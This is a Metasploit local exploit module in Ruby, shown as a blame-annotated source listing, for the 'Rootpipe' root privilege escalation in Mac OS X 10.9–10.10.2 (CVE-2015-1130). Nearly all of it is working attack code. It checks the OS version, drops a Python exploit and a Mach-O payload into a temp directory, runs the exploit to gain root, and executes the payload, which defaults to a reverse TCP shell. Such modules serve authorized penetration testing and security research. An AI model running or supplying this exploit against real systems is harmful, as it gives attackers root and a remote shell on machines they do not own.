2015-04-09 21:05:52 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Local
|
|
|
|
|
|
|
|
Rank = GreatRanking
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a hidden backdoor API in Apple's Admin framework on
|
|
|
|
OS X to escalate privileges to root. Dubbed "Rootpipe."
|
|
|
|
|
|
|
|
Tested on Yosemite 10.10.2 and should work on previous versions.
|
|
|
|
|
|
|
|
The patch for this issue was not backported to older releases.
|
|
|
|
},
|
|
|
|
'Author' => [
|
|
|
|
'Emil Kvarnhammar', # Vulnerability discovery and PoC
|
|
|
|
'joev', # Copy/paste monkey
|
|
|
|
'wvu' # Meta copy/paste monkey
|
|
|
|
],
|
|
|
|
'References' => [
|
|
|
|
['CVE', '2015-1130'],
|
|
|
|
['EDB', '36692'],
|
|
|
|
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 9 2015',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86_64,
|
|
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
|
|
'Targets' => [
|
2015-04-09 23:25:52 +00:00
|
|
|
['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
|
2015-04-09 21:05:52 +00:00
|
|
|
],
|
2015-04-10 03:24:47 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DefaultOptions' => {
|
|
|
|
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
|
|
|
|
'CMD' => '/bin/zsh'
|
|
|
|
}
|
2015-04-09 21:05:52 +00:00
|
|
|
))
|
2015-04-10 03:24:47 +00:00
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
|
|
|
|
OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
|
|
|
|
])
|
2015-04-09 21:05:52 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2015-04-09 23:25:52 +00:00
|
|
|
if ver_between(osx_ver, '10.9', '10.10.2')
|
2015-04-09 21:05:52 +00:00
|
|
|
Exploit::CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
|
|
|
|
python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
|
|
|
|
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
2015-04-10 03:24:47 +00:00
|
|
|
exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
|
|
|
|
payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
|
2015-04-09 21:05:52 +00:00
|
|
|
|
|
|
|
print_status("Writing exploit file as '#{exploit_file}'")
|
|
|
|
write_file(exploit_file, python_exploit)
|
|
|
|
register_file_for_cleanup(exploit_file)
|
|
|
|
|
|
|
|
print_status("Writing payload file as '#{payload_file}'")
|
|
|
|
write_file(payload_file, binary_payload)
|
|
|
|
register_file_for_cleanup(payload_file)
|
|
|
|
|
|
|
|
print_status('Executing payload...')
|
2015-04-10 03:24:47 +00:00
|
|
|
cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
|
2015-04-09 21:05:52 +00:00
|
|
|
cmd_exec(payload_file)
|
|
|
|
end
|
|
|
|
|
|
|
|
def osx_ver
|
|
|
|
cmd_exec('sw_vers -productVersion').to_s.strip
|
|
|
|
end
|
|
|
|
|
2015-04-09 23:25:52 +00:00
|
|
|
def ver_between(a, b, c)
|
|
|
|
Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
|
2015-04-09 21:05:52 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|